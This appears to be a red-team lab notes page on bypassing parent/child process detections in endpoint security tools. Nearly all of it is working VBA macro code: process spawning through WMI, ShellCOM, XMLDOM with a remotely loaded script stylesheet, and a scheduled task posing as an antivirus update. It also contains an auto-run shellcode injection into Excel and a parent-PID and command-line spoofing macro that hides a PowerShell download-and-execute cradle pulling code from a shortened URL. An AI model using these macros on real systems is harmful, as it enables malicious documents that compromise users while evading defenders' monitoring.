Bypassing Parent Child / Ancestry Detections
Defenders often engineer detections based on parent/child process relationships - i.e Excel spawns powershell - suspicious.
This lab is mostly based on the techniques discussed on https://www.countercept.com/blog/dechaining-macros-and-evading-edr/
Below are some techniques showing how those type of detections could be bypassed.
Spawning via WmiPrvse.exe using wmi
macro.vba
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)Spawning via ShellCOM
macro.vba
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0Spawning via svchost.exe using XMLDOM
Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xsl.load("file://|http://bad.xsl")
xml.transformNode xsl<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]> </ms:script>
</stylesheet>Spawning via svchost.exe using Scheduled Task
macro.vba
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
'Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)Shellcode Injection to Excel.exe Memory Using Windows APIs
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
Sub Auto_Open()
Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
Dim Xlbufvetp As LongPtr
#Else
Dim Xlbufvetp As Long
#EndIf
Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
Wyzayxya = Hyeyhafxp(Zolde)
Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
Next Zolde
Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End SubParent Process ID Spoofing
With this technique it is possible to specify the PID under which our process will be launched as well as process commandline arguments can be spoofed. Note that this is the same technique Cobalt Strike uses under the hood in its argue module:
' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
' Windows API constants
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
Const MAX_PATH = 260
'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
Private Type PROCESS_BASIC_INFORMATION
ExitStatus As Long
PEBBaseAddress As Long
AffinityMask As Long
BasePriority As Long
UniqueProcessId As Long
ParentProcessId As Long
End Type
Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
ByVal processHandle As LongPtr, _
ByVal processInformationClass As Long, _
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
ByVal processInformationLength As Long, _
ByRef returnLength As Long _
) As Integer
' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
Private Type PEB
Reserved1(1) As Byte
BeingDebugged As Byte
Reserved2 As Byte
Reserved3(1) As Long
Ldr As Long
ProcessParameters As Long
Reserved4(103) As Byte
Reserved5(51) As Long
PostProcessInitRoutine As Long
Reserved6(127) As Byte
Reserved7 As Long
SessionId As Long
End Type
Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
' to change ^ to Long
End Type
Private Type RTL_USER_PROCESS_PARAMETERS
Reserved1(15) As Byte
Reserved2(9) As Long
ImagePathName As UNICODE_STRING
CommandLine As UNICODE_STRING
End Type
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As LongPtr, _
ByVal lpBuffer As LongPtr, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesRead As Long _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByVal lpBuffer As Any, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''
' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim continueSearching As Boolean
pEntry.dwSize = Len(pEntry)
Dim snapshot As LongPtr
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
continueSearching = Process32First(snapshot, pEntry)
Do
If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
getPidByName = pEntry.th32ProcessID
continueSearching = False
Else
continueSearching = Process32Next(snapshot, pEntry)
End If
Loop While continueSearching
End Function
Public Function convertStr(ByVal str As String) As Byte()
Dim i, j As Integer
Dim result(400) As Byte
j = 0
For i = 1 To Len(str):
result(j) = Asc(Mid(str, i, 1))
result(j + 1) = &H0
j = j + 2
Next
convertStr = result
End Function
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim parentHandle As LongPtr
Dim originalCli As String
originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"
' Get a handle on the process to be used as a parent
pid = getPidByName("explorer.exe")
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Set the parent to be our previous handle
result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)
' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
si.STARTUPINFO.cb = LenB(si)
' Hide new process window
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE
result = CreateProcess( _
nullStr, _
originalCli, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Spoofing of cli arguments
Dim size As Long
Dim PEB As PEB
Dim pbi As PROCESS_BASIC_INFORMATION
Dim newProcessHandle As LongPtr
Dim success As Boolean
Dim parameters As RTL_USER_PROCESS_PARAMETERS
Dim cmdStr As String
Dim cmd() As Byte
newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
' peb.ProcessParameters now contains the address to the parameters - read them
success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)
cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "
cmd = convertStr(cmdStr)
success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
ResumeThread (pi.hThread)
End SubReferences
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